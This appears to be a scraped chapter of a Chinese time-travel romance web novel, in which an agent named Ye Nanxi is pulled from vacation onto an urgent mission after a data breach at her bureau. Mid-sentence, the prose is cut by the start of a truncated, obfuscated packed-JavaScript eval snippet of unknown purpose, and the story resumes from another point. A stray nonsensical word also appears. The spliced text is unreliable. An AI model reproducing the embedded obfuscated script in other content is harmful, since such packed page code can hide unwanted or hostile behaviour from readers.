叶南晞吸取上次的教训,直接选择了忽略。 休假时间拒绝任何工作打扰,管理局又不是只有她一位特派员,有急事他们自然会去找别人。 她俨然一副要整顿职场的意思,而她之所以敢有这样的态度,全因有恃无恐,知道管理局不敢轻易炒自己鱿鱼。 时空管理局不似一般行业,它属于政府保密机关,保密等级是特级,选拔标准极其严格。其选拔标准需要应征者具备超凡的应变能力,敏锐的反应力,以及过目不忘的记忆力。除此之外,身体素质也必须是一等一地好,身上不能有明显的疤痕。 然而这些都仅仅是初步筛选,真正淘汰了绝大部分人的是候选者的身份背景——考核对象不能有任何家庭成员,必须无牵无挂,孑然一身。 之所以会有这样的规定,一是为了更好地保密,因为特派员需要不定时穿梭于各个时空,很难向亲近之人解释行踪;二是因为这份工作风险很大,随时有可能在执行任务的过程中面对死亡。 虽然有高科技设备作为辅助,但是他们仍旧是肉体凡胎,若真走到了绝路,也逃脱不了死亡的结局。 叶南晞是星际孤儿,从小在星际福利院长大,恰好符合要求。而且她平日里一贯保持着独来独往的风格,除了管理局中的同事,生活中几乎没有朋友。论背景论性格,都是最优选择。 旁人见她只觉得她孤独,殊不知这对她而言反而是种极致的自由。 她在自由中纸醉金迷,从不会亏待自己,无论是物质还是情欲。 就在昨日,她刚一登上飞船便遇见了位极合眼缘的美男。对方长得肤白貌美,眼窝深邃鼻梁高挺,乍一看有些像是混血。经过他身边时,还能嗅到一股若有似无的香水味,浓淡控制得刚刚好。 长相好,品味也不差。 叶南晞原本想去搭讪,可刚准备行动,脑海中莫名浮现起冯钰的身影。 过往的一幕幕似走马灯般的重现眼前,鲜活而清晰。他微笑时的样子,柔声细语时的样子,以及他系着围裙站在灶台前,为自己洗手作羹汤时的样子。 她沉浸其中,反复咀嚼着那些美好的回忆。后来等那位美男再次从面前经过,她居然完全没有了兴趣,满心里只剩下冯钰的影子。 悻悻地闭上眼睛,她不知怎的,不过是与对方相处了一个月,可他的形象却好似根植于脑海,甚至声音也留在了耳畔。 “姑姑。” 每每回头,身后却是空荡荡的一片。 这是幻听。 自己怎么会幻听?她想不明白,罪证只得将其归咎为时空时差导致的神经衰弱。 忽然,飞船剧烈晃动了一下,晃得叶南晞不慎将红酒泼洒到身上。她连忙脱下浸湿的外套扔去一旁,然后召出随身系统,给总控室发出语音:“你好,我是叶南晞,请问刚才发生了什么事?” 很快,总控室传回简讯:“你好叶女士,飞船状态一切正常,刚才震荡的具体原因尚不明确。另外,您有一通来自时空管理局的急电,对方拨打到了这边,请您尽快接听。” 到底是什么重要的事,居然惹得管理局不惜动用“定位追踪”来联络自己,这个技术向来只用于追击星际通缉犯。 心头顿时有了不好的预感,叶南晞立刻严肃了语气,唤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶南晞一骨碌从躺椅上坐起来:“数据丢失?怎么会数据丢失的?我们的防御系统那么脆弱吗?” 林念解释道:“对方的动作太快,我们的防御系统根本没有来得及反应。” 叶南晞愤愤然地一咬牙:“那我这次的任务目标是什么?” 林念语速飞快:“稳定时空的发展,确保……”信号开始变得不稳定,声音断断续续:“按照原轨迹……一定……” 叶南晞焦急地大声问道:“一定什么?” “一定……要按照原轨迹发展!” 叶南晞眉头越拧越深。 让历史事件按照原轨迹发展这个目标太宽泛了,具体要发展到什么地步?需要在那里停留多久?最近的时空裂隙在哪里?她最终将会被传送至何地?这些问题她全不知道。 满脑袋问号拥塞住了叶南晞的大脑。不等叶南晞问出心中的疑惑,林念那头已然远程替她开启了穿越进程。 “林念,等等!” 进程一旦开始便再无中止的可能。 叶南晞手腕上的异能环瞬间发出耀眼的光芒,光芒包裹住叶南晞的身躯。她无可奈何地闭上眼睛,忽然觉得自己好似一叶孤舟,在慌乱中离岸,被迫行进在不知终点的旅途上。